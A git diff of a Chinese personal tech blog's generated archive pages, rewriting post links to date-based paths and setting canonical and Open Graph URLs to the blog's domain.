-        <p class="article-headline-p"><a href="/前端安全.html">前端安全</a></p>
+        <p class="article-headline-p"><a href="/2018/01/25/前端安全.html">前端安全</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -625,7 +625,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端安全.html" target="_self">阅读全文</a>
+            <a href="/2018/01/25/前端安全.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -676,7 +676,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
+        <p class="article-headline-p"><a href="/2018/01/22/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -686,7 +686,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/用vue撸一个二手商城.html" target="_self">阅读全文</a>
+            <a href="/2018/01/22/用vue撸一个二手商城.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -737,7 +737,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/PWA初窥.html">PWA初窥</a></p>
+        <p class="article-headline-p"><a href="/2018/01/20/PWA初窥.html">PWA初窥</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -747,7 +747,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/PWA初窥.html" target="_self">阅读全文</a>
+            <a href="/2018/01/20/PWA初窥.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2018/index.html b/public/archives/2018/index.html
index 0488b05..203a6f5 100644
--- a/public/archives/2018/index.html
+++ b/public/archives/2018/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2018/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2018/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2018/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2018/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2018 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2018/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2018/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/cookie和session.html">cookie和session</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/cookie和session.html">cookie和session</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/cookie和session.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/cookie和session.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/线上部署：heroku.html">线上部署：heroku</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/线上部署：heroku.html">线上部署：heroku</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/线上部署：heroku.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/线上部署：heroku.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nginx配置和问题处理.html">nginx配置和问题处理</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/nginx配置和问题处理.html">nginx配置和问题处理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nginx配置和问题处理.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/nginx配置和问题处理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
+        <p class="article-headline-p"><a href="/2018/04/25/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nodeJS性能处理一.html" target="_self">阅读全文</a>
+            <a href="/2018/04/25/nodeJS性能处理一.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/node连接阿里云redis.html">node连接阿里云redis</a></p>
+        <p class="article-headline-p"><a href="/2018/04/24/node连接阿里云redis.html">node连接阿里云redis</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/node连接阿里云redis.html" target="_self">阅读全文</a>
+            <a href="/2018/04/24/node连接阿里云redis.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/学生思维.html">学生思维</a></p>
+        <p class="article-headline-p"><a href="/2018/04/10/学生思维.html">学生思维</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/学生思维.html" target="_self">阅读全文</a>
+            <a href="/2018/04/10/学生思维.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Travis-CI-实现自动化部署.html">Travis CI 实现自动化部署</a></p>
+        <p class="article-headline-p"><a href="/2018/04/09/Travis-CI-实现自动化部署.html">Travis CI 实现自动化部署</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Travis-CI-实现自动化部署.html" target="_self">阅读全文</a>
+            <a href="/2018/04/09/Travis-CI-实现自动化部署.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -859,7 +859,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/正则表达式.html">正则表达式</a></p>
+        <p class="article-headline-p"><a href="/2018/04/04/正则表达式.html">正则表达式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -869,7 +869,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/正则表达式.html" target="_self">阅读全文</a>
+            <a href="/2018/04/04/正则表达式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -922,7 +922,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
+        <p class="article-headline-p"><a href="/2018/03/09/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -932,7 +932,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js常见的九种设计模式.html" target="_self">阅读全文</a>
+            <a href="/2018/03/09/js常见的九种设计模式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/index.html b/public/archives/index.html
index 8e55569..1128b0f 100644
--- a/public/archives/index.html
+++ b/public/archives/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/cookie和session.html">cookie和session</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/cookie和session.html">cookie和session</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/cookie和session.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/cookie和session.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/线上部署：heroku.html">线上部署：heroku</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/线上部署：heroku.html">线上部署：heroku</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/线上部署：heroku.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/线上部署：heroku.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nginx配置和问题处理.html">nginx配置和问题处理</a></p>
+        <p class="article-headline-p"><a href="/2018/04/26/nginx配置和问题处理.html">nginx配置和问题处理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nginx配置和问题处理.html" target="_self">阅读全文</a>
+            <a href="/2018/04/26/nginx配置和问题处理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
+        <p class="article-headline-p"><a href="/2018/04/25/nodeJS性能处理一.html">nodeJS性能处理（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/nodeJS性能处理一.html" target="_self">阅读全文</a>
+            <a href="/2018/04/25/nodeJS性能处理一.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/node连接阿里云redis.html">node连接阿里云redis</a></p>
+        <p class="article-headline-p"><a href="/2018/04/24/node连接阿里云redis.html">node连接阿里云redis</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/node连接阿里云redis.html" target="_self">阅读全文</a>
+            <a href="/2018/04/24/node连接阿里云redis.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/学生思维.html">学生思维</a></p>
+        <p class="article-headline-p"><a href="/2018/04/10/学生思维.html">学生思维</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/学生思维.html" target="_self">阅读全文</a>
+            <a href="/2018/04/10/学生思维.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Travis-CI-实现自动化部署.html">Travis CI 实现自动化部署</a></p>
+        <p class="article-headline-p"><a href="/2018/04/09/Travis-CI-实现自动化部署.html">Travis CI 实现自动化部署</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Travis-CI-实现自动化部署.html" target="_self">阅读全文</a>
+            <a href="/2018/04/09/Travis-CI-实现自动化部署.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -859,7 +859,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/正则表达式.html">正则表达式</a></p>
+        <p class="article-headline-p"><a href="/2018/04/04/正则表达式.html">正则表达式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -869,7 +869,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/正则表达式.html" target="_self">阅读全文</a>
+            <a href="/2018/04/04/正则表达式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -922,7 +922,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
+        <p class="article-headline-p"><a href="/2018/03/09/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -932,7 +932,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js常见的九种设计模式.html" target="_self">阅读全文</a>
+            <a href="/2018/03/09/js常见的九种设计模式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/page/2/index.html b/public/archives/page/2/index.html
index 08f5178..577c5c2 100644
--- a/public/archives/page/2/index.html
+++ b/public/archives/page/2/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/page/2/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/page/2/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/page/2/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/page/2/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/page/2/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/page/2/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/redis环境搭建.html">redis环境搭建</a></p>
+        <p class="article-headline-p"><a href="/2018/03/07/redis环境搭建.html">redis环境搭建</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/redis环境搭建.html" target="_self">阅读全文</a>
+            <a href="/2018/03/07/redis环境搭建.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/你的一生，究竟为什么而活.html">你的一生，究竟为什么而活</a></p>
+        <p class="article-headline-p"><a href="/2018/02/11/你的一生，究竟为什么而活.html">你的一生，究竟为什么而活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/你的一生，究竟为什么而活.html" target="_self">阅读全文</a>
+            <a href="/2018/02/11/你的一生，究竟为什么而活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/JS常见的十大错误.html">JS常见的十大错误</a></p>
+        <p class="article-headline-p"><a href="/2018/02/07/JS常见的十大错误.html">JS常见的十大错误</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/JS常见的十大错误.html" target="_self">阅读全文</a>
+            <a href="/2018/02/07/JS常见的十大错误.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/深入浅出-Ajax.html">深入浅出 Ajax</a></p>
+        <p class="article-headline-p"><a href="/2018/01/31/深入浅出-Ajax.html">深入浅出 Ajax</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/深入浅出-Ajax.html" target="_self">阅读全文</a>
+            <a href="/2018/01/31/深入浅出-Ajax.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -676,7 +676,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
+        <p class="article-headline-p"><a href="/2018/01/30/如何理解yield和-函数.html">如何理解yield和*函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -686,7 +686,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何理解yield和-函数.html" target="_self">阅读全文</a>
+            <a href="/2018/01/30/如何理解yield和-函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -737,7 +737,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我所追求的狼性.html">我所追求的狼性</a></p>
+        <p class="article-headline-p"><a href="/2018/01/28/我所追求的狼性.html">我所追求的狼性</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -747,7 +747,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我所追求的狼性.html" target="_self">阅读全文</a>
+            <a href="/2018/01/28/我所追求的狼性.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -798,7 +798,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端安全.html">前端安全</a></p>
+        <p class="article-headline-p"><a href="/2018/01/25/前端安全.html">前端安全</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -808,7 +808,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端安全.html" target="_self">阅读全文</a>
+            <a href="/2018/01/25/前端安全.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -859,7 +859,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
+        <p class="article-headline-p"><a href="/2018/01/22/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -869,7 +869,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/用vue撸一个二手商城.html" target="_self">阅读全文</a>
+            <a href="/2018/01/22/用vue撸一个二手商城.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -920,7 +920,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/PWA初窥.html">PWA初窥</a></p>
+        <p class="article-headline-p"><a href="/2018/01/20/PWA初窥.html">PWA初窥</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -930,7 +930,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/PWA初窥.html" target="_self">阅读全文</a>
+            <a href="/2018/01/20/PWA初窥.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -981,7 +981,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -991,7 +991,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/page/3/index.html b/public/archives/page/3/index.html
index e20ed2e..d45c178 100644
--- a/public/archives/page/3/index.html
+++ b/public/archives/page/3/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/page/3/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/page/3/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/page/3/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/page/3/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/page/3/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/page/3/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
+        <p class="article-headline-p"><a href="/2017/12/26/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vscode-配置插件推荐.html" target="_self">阅读全文</a>
+            <a href="/2017/12/26/vscode-配置插件推荐.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-express.html">learn express</a></p>
+        <p class="article-headline-p"><a href="/2017/12/20/learn-express.html">learn express</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-express.html" target="_self">阅读全文</a>
+            <a href="/2017/12/20/learn-express.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我个人的coding风格.html">我个人的coding风格</a></p>
+        <p class="article-headline-p"><a href="/2017/11/26/我个人的coding风格.html">我个人的coding风格</a></p>
     </div>
 
